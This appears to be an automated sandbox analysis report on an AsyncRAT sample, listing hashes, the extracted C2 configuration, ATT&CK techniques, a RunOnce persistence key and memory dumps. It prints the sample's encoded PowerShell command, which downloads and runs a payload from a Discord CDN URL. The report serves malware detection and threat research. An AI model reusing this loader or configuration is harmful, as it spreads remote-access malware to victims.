asyncrat | d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5

Analysis

max time kernel
136s
max time network
147s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
06-12-2022 07:01

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General

Target

d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe
Size

7KB
MD5

7f184d269ff9d83c9a731ed0255e50c0
SHA1

0f30c52625bb96b90d6cbfd8f129c540a7f50f20
SHA256

d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5
SHA512

32fca3bf5cbc5c3eda34818119ac9b941d9950cb0f14b31a9c41a553f4dbfa5336904a74eecf482cc9174d3ccbd4c71605e16f682db6fcddfc24dfd8adff1c4d
SSDEEP

192:NQ9b3L1bhycm8GNvrf8C/LJBWWgaMWedn:G9zLHycmzNbnWzpW2n

Score

10^/10

asyncrat windowsdefendersmarttscreen persistence rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

WindowsDefenderSmarttScreen

217.64.31.3:9742

Mutex

WindowsDefenderSmarttScreen

Attributes

delay
1
install
false
install_file
WindowsDefenderSmarttScreen.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/5072-196-0x0000000005B10000-0x0000000005B22000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 4760 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

POIXCB3.exe

pid process

5072 POIXCB3.exe

flow	pid	process
7	4760	powershell.exe

pid	process
5072	POIXCB3.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

POIXCB3.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	POIXCB3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe"	POIXCB3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4760 powershell.exe
4760 powershell.exe
4760 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4760 powershell.exe

pid	process
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4760	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exepowershell.exe

description	pid	process	target process
PID 3836 wrote to memory of 4760	3836	d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe	powershell.exe
PID 3836 wrote to memory of 4760	3836	d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe	powershell.exe
PID 4760 wrote to memory of 5072	4760	powershell.exe	POIXCB3.exe
PID 4760 wrote to memory of 5072	4760	powershell.exe	POIXCB3.exe
PID 4760 wrote to memory of 5072	4760	powershell.exe	POIXCB3.exe

C:\Users\Admin\AppData\Local\Temp\d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe
"C:\Users\Admin\AppData\Local\Temp\d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdgB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADEAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA0ADkANAAxADAAMgAxADcANAAyADAANQAzADMAOAAyADAALwAxADAANAA5ADQAMQA3ADUAOQA5ADcANwA3ADIANQA1ADUAMgA0AC8AVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AHQAUwBjAHIAZQBlAG4ALgBlAHgAZQAnACwAIAA8ACMAdABxAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBtAGcAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBlAGoAYgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8ASQBYAEMAQgAzAC4AZQB4AGUAJwApACkAPAAjAHgAcQBnACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbAB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB2AGwAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8ASQBYAEMAQgAzAC4AZQB4AGUAJwApADwAIwB3AHEAZgAjAD4A"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4760

C:\Users\Admin\AppData\Roaming\POIXCB3.exe
"C:\Users\Admin\AppData\Roaming\POIXCB3.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5072

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\POIXCB3.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
C:\Users\Admin\AppData\Roaming\POIXCB3.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
memory/3836-118-0x0000000000E30000-0x0000000000E38000-memory.dmp

Filesize
32KB

Download
memory/4760-119-0x0000000000000000-mapping.dmp

Download
memory/4760-124-0x0000022FF82C0000-0x0000022FF82E2000-memory.dmp

Filesize
136KB

Download
memory/4760-127-0x0000022FF85E0000-0x0000022FF8656000-memory.dmp

Filesize
472KB

Download
memory/5072-142-0x0000000000000000-mapping.dmp

Download
memory/5072-144-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-146-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-147-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-148-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-149-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-150-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-151-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-152-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-154-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-155-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-156-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-157-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-158-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-159-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-160-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-161-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-162-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-163-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-164-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-165-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-166-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-167-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-168-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-169-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-170-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-171-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-172-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-173-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-174-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-175-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-176-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-177-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-178-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-179-0x0000000000E90000-0x00000000012BE000-memory.dmp

Filesize
4.2MB

Download
memory/5072-180-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-181-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-182-0x0000000005B60000-0x0000000005BFC000-memory.dmp

Filesize
624KB

Download
memory/5072-183-0x0000000006100000-0x00000000065FE000-memory.dmp

Filesize
5.0MB

Download
memory/5072-184-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-185-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-186-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-187-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-188-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-189-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-190-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-191-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-192-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-193-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-194-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-195-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-196-0x0000000005B10000-0x0000000005B22000-memory.dmp

Filesize
72KB

Download
memory/5072-197-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-198-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-199-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-200-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-201-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-202-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-203-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-204-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/5072-205-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download